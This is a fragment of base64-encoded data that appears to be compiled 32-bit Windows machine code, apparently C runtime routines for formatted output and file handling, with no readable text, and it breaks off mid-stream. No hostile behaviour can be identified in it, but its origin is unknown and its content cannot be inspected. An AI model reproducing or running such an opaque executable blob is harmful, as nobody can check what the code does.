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0B0Bg+/R/zrDg+3R/zrCPbDQHQMi0f8mYvIi/ozwOsHi0/8M8CL+PbDQHQcO/h/GHwEO8hzEvfZE/j334HLAAEAAImd7Pv///fDAJAAAHUCi/iLlej7//+F0nkFM9JC6xaD4/eJnez7//+B+gACAAB+BboAAgAAi8ELx3UGiYXc+///jbX7/f//i8JKiZXo+///hcB/BovBC8d0PYuF5Pv//5lSUFdR6Ec7AACDwTCJnYT7//+JhfT7//+L+oP5OX4GA42k+///i5Xo+///iA5Oi430+///67CLnez7//+Njfv9//8rzkaJjfT7///3wwACAAB0RYXJdAWAPjB0PE5BajBYiAbrLYX2dQaLNZRiQQDHhdT7//8BAAAAi86F/3QPM8BPZjkBdAeDwQKF/3XzK87R+YmN9Pv//4O9wPv//wAPha0BAAD2w0B0IPfDAAEAAA+EHQEAAGotWGaJhcj7///Hhdz7//8BAAAAaiBai73Q+///i4Xc+///K/kr+PbDDHUdjYXg+///UP+12Pv//1dS6D8CAACLhdz7//+DxBD/tZz7//+NjeD7//9R/7XY+///UI2FyPv//1DoQgIAAIPEFPbDCHQf9sMEdRqNheD7//9Q/7XY+///V2owWFDo8gEAAIPEEIO91Pv//wCLhfT7//8PhbMAAACFwA+OqwAAAIvOibXk+///SImFhPv//42FsPv//1CLhbD7////cHSNhaD7//9RUOimSgAAg8QQiYWU+///hcB+Z42F4Pv//1D/tdj7////taD7///oTQEAAIuN5Pv//4PEDAONlPv//4uFhPv//4mN5Pv//4XAf5jrVvbDAXQHaivp2f7///bDAg+E4v7//2ogWmaJlcj7///Hhdz7//8BAAAA6cz+//+DyP+JheD7///rI/+1nPv//42N4Pv//1H/tdj7//9QVug7AQAAg8QUi4Xg+///hcB4H/bDBHQajYXg+///UP+12Pv//1dqIFhQ6OYAAACDxBCLhaz7//+FwHQPUOgAy///M8BZiYWs+///i430+///i4X4+///D7cQi4Xg+///iZXk+///ZoXSD4V+9f//gL28+///AHQKi424+///g2Fw/YtN/F9eM81b6CLI//+L5V3D6NDl///HABYAAADoNdb//4C9vPv//wAPhNX0//+Ljbj7//+DYXD96cb0///3Y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AAA6FTQ//+DIACDz/+JfeTHRfz+////6AoAAACLx+soi3UIi33kVuh1OQAAWcPoKND//4kY6FXQ///HAAkAAADousD//4PI/+jf6///w8zMVYvsuPAaAADoujkAAKGAYkEAM8WJRfyDpUTl//8Ai0UIi00MVjP2iYU45f//VzP/iY0w5f//ibVA5f//OXUQdQczwOkNCAAAhcl1H+i6z///ITDo58///8cAFgAAAOhMwP//g8j/6eoHAACL0IvIwfoFg+EfweEGiZUo5f//U4sUlbBRRgCJjSTl//+KXBEkAtvQ+4D7AnQFgPsBdSuLRRD30KgBdRzoX8///yEw6IzP///HABYAAADo8b///+mIBwAAi4U45f//9kQRBCB0D2oCagBqAFDohQgAAIPEEP+1OOX//+jR/f//WYXAD4RQAwAAi4Uo5f//i40k5f//iwSFsFFGAPZEAQSAD4QyAwAA6D/z//8zyYtAbDmIqAAAAI2FGOX//1CLhSjl//8PlMGJjTzl//+LjSTl//+LBIWwUUYA/zQB/xVkEUEAhcAPhO4CAAA5tTzl//90CITbD4TeAgAA/xVgEUEAi5Uw5f//M8khjTjl//+JhRDl//+JjTTl//+JlSzl//85TRAPhoEGAACLhSzl//8z0omVQOX//8eFFOX//woAAAAhvTzl//+E2w+FrgEAAIoQM8CLjSTl//+A+goPlMCJhRjl//+LhSjl//+LBIWwUUYAiYU85f//OXwBOHQcikQBNIhF9IuFPOX//4hV9WoCIXwBOI1F9FDrWg++wlDoGB8AAFmFwHREi4Uw5f//i5Us5f//K8IDRRCD+AEPhtsBAABqAlKNhTTl//9Q6KMyAACDxAyD+P8PhAUDAACLhSzl//9A/4VA5f//6yZqAf+1LOX//42FNOX//1DodDIAAIPEDIP4/w+E1gIAAIuFLOX//zPJQP+FQOX//1FRagWJhSzl//+NRfRQagGNhTTl//9QUf+1EOX///8VeBBBAImFPOX//4XAD4SVAgAAagCNjTjl//9Ri40k5f//UI1F9FCLhSjl//+LBIWwUUYA/zQB/xUQEUEAhcAPhEwBAACLtUDl//+LjUTl//8D8YuFPOX//zmFOOX//w+MSQIAADm9GOX//3RLi40k5f//jYU45f//agBQagGNRfTGRfQNUIuFKOX//4sEhbBRRgD/NAH/FRARQQCFwA+E7QAAAIO9OOX//wEPjPcBAAD/hUTl//9Gi4005f//6YYAAACA+wF0BYD7AnUzD7cIM9JmO40U5f//iY005f//D5TCg8ACiZU85f//i5VA5f//g8ICiYUs5f//iZVA5f//gPsBdAWA+wJ1S1HowjUAAFmLjTTl//9mO8F1dYPGAjm9POX//3Qiag1YUImFNOX//+icNQAAWYuNNOX//2Y7wXVPRv+FROX//4uVQOX//4uFLOX//ztVEA+Cqf3//+lFAQAAi50o5f//RooCi5Uk5f//iwydsFFGAIhECjSLBJ2wUUYAx0QCOAEAAADpFwEAAP8VZBBBAIv46QoBAACLhSjl//+LDIWwUUYAi4Uk5f//9kQIBIAPhHUDAACLlTDl//8z/4m9NOX//4TbD4UOAQAAi10QiZU45f//hdsPhI0DAAAzyY299Ov//4vCiY085f//K4Uw5f//O8NzRIoKQkCIjR/l//+A+QqJlTjl//+LjTzl//91C/+FROX//8YHDUdBipUf5f//iBdHi5U45f//QYmNPOX//4H5/xMAAHK4i40k5f//jYX06///K/iNhSDl//9qAFBXjYX06///UIuFKOX//4sEhbBRRgD/NAH/FRARQQCFwA+EE////wO1IOX//zm9IOX//3wWi5U45f//i8IrhTDl//87ww+CQf///4u9NOX//4uNROX//4X2D4X1AgAAhf8PhKwCAABqBVs7+w+FmAIAAOjMyv//xwAJAAAA6I3K//+JGOnGAgAAi8qA+wIPheoAAAA5dRAPhnwCAADHhRTl//8KAAAAg6UY5f//AI2d9Ov//4vBag0rwouVGOX//147RRBzMw+3OYPAAoPBAmY7vRTl//91EIOFROX//wJmiTODwwKDwgJmiTuDwgKDwwKB+v4TAAByyI2F9Ov//4mNPOX//4uNJOX//yvYagCNhSDl//9QU42F9Ov//1CLhSjl//+LBIWwUUYA/zQB/xUQEUEAi7VA5f//i7005f//hcAPhPL9//8DtSDl//+JtUDl//85nSDl//8PjPH+//+LjTzl//+LwYuVMOX//yvCO0UQD4Iu////6dP+//+LXRCJjTjl//+F2w+EigEAAMeFFOX//woAAACDpRjl//8AjYVI5f//i7045f//K8qLlRjl//87y3M7D7c3g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